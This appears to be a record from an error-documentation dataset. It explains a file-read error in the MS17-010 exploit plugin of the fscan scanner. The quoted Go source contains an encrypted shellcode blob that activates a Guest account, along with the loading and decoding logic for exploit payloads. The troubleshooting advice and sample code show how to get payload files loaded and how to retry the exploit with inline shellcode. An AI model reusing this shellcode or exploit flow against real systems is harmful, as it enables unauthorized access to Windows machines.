{"record":{"id":"0734287a601a8b65","repo":"shadow1ng/fscan","slug":"ms17010-shellcode-file-read-failed-w","errorCode":null,"errorMessage":"ms17010_shellcode_file_read_failed: %w","messagePattern":"ms17010_shellcode_file_read_failed: %w","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010.go","lineNumber":453,"sourceCode":"\tcase \"guest\":\n\t\t// 激活Guest账户 shellcode (加密)\n\t\tscEnc := \"Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx\"\n\t\tvar err error\n\t\tsc, err = aesDecrypt(scEnc, defaultKey)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_guest_shellcode_decrypt_failed\"), err)\n\t\t}\n\n\tcase \"cs\":\n\t\tsc = \"\"\n\n\tdefault:\n\t\t// 从文件读取或直接使用提供的shellcode\n\t\tshellcode := config.Shellcode\n\t\tif strings.Contains(shellcode, \"file:\") {\n\t\t\tread, err := os.ReadFile(shellcode[5:])\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_shellcode_file_read_failed\"), err)\n\t\t\t}\n\t\t\tsc = fmt.Sprintf(\"%x\", read)\n\t\t} else {\n\t\t\tsc = shellcode\n\t\t}\n\t}\n\n\t// 验证shellcode有效性\n\tif len(sc) < 20 {\n\t\treturn fmt.Errorf(\"%s\", i18n.GetText(\"ms17010_invalid_shellcode\"))\n\t}\n\n\t// 解码shellcode\n\tscBytes, err := hex.DecodeString(sc)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_shellcode_decode_failed\"), err)\n\t}\n","sourceCodeStart":435,"sourceCodeEnd":471,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010.go#L435-L471","documentation":"This error is returned by executeMS17010Exploit (invoked via Exploit) in the default shellcode branch when config.Shellcode contains the \"file:\" prefix and os.ReadFile fails to read the path following that prefix. The payload is expected to be loaded from a local file and hex-encoded; the read failure aborts the exploit before anything is sent to the target. The wrapped %w error carries the underlying OS reason (e.g. no such file, permission denied).","triggerScenarios":"Calling Exploit with config.Shellcode set to a string containing \"file:\" (e.g. \"file:/path/shellcode.bin\") where the path does not exist, is unreadable by the process user, is a directory, or the prefix handling yields a wrong path — note shellcode[5:] strips exactly 5 chars, so anything other than the literal 5-character prefix \"file:\" corrupts the extracted path.","commonSituations":"Typo in the path or relative path resolved against an unexpected working directory; file not deployed on the scanning host; permission denied running the scanner as a non-root user; writing \"file:\" with different casing or extra characters so shellcode[5:] points at the wrong path; SELinux/AppArmor blocking reads.","solutions":["Verify the path exists and is readable: check the file with ls/stat and ensure the scanner process user has read permission (try sudo or chown/chmod).","Use an absolute path in config.Shellcode (e.g. \"file:/opt/payloads/sc.bin\") to avoid working-directory surprises, keeping the prefix exactly \"file:\" (5 characters).","Read the wrapped %w error: 'no such file or directory' means fix the path; 'permission denied' means fix ownership/ACL/SELinux; 'is a directory' means point at the binary file itself.","As a fallback, paste the shellcode as a hex string directly into config.Shellcode instead of using the file: form."],"exampleFix":"// before\nconfig.Shellcode = \"file:payload.bin\" // relative path, wrong CWD\n// after\nconfig.Shellcode = \"file:/opt/payloads/shellcode.bin\" // absolute, readable path","handlingStrategy":"validation","validationCode":"// validate the file: payload path before calling Exploit\nsc := config.Shellcode\nif strings.Contains(sc, \"file:\") {\n    path := sc[len(\"file:\"):]\n    fi, err := os.Stat(path)\n    if err != nil {\n        return fmt.Errorf(\"shellcode file not accessible: %w\", err)\n    }\n    if fi.IsDir() {\n        return fmt.Errorf(\"shellcode path is a directory: %s\", path)\n    }\n    f, err := os.OpenFile(path, os.O_RDONLY, 0)\n    if err != nil {\n        return fmt.Errorf(\"shellcode file unreadable: %w\", err)\n    }\n    f.Close()\n}","typeGuard":"func isReadableShellcodeFile(shellcode string) bool {\n    const prefix = \"file:\"\n    if !strings.HasPrefix(shellcode, prefix) {\n        return true // raw hex payload, nothing to check\n    }\n    path := shellcode[len(prefix):]\n    fi, err := os.Stat(path)\n    return err == nil && !fi.IsDir()\n}","tryCatchPattern":"if err := Exploit(target, config.Shellcode); err != nil {\n    if strings.Contains(err.Error(), \"ms17010_shellcode_file_read_failed\") {\n        log.Printf(\"payload file problem for %s: %v\", target, err)\n        // fall back to inline hex payload\n        err = Exploit(target, inlineHexShellcode)\n    }\n    if err != nil { log.Printf(\"exploit failed: %v\", err) }\n}","preventionTips":["Always use absolute paths after the exact 5-character \"file:\" prefix.","Pre-check existence and readability (os.OpenFile with O_RDONLY) of the payload file before running the exploit.","Run the scanner with a user that has read access to the payload directory.","Log os.Getwd() at startup to catch relative-path surprises, or avoid relative paths entirely."],"tags":["file","io","shellcode","config"],"backgroundTag":"file-read-failed","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}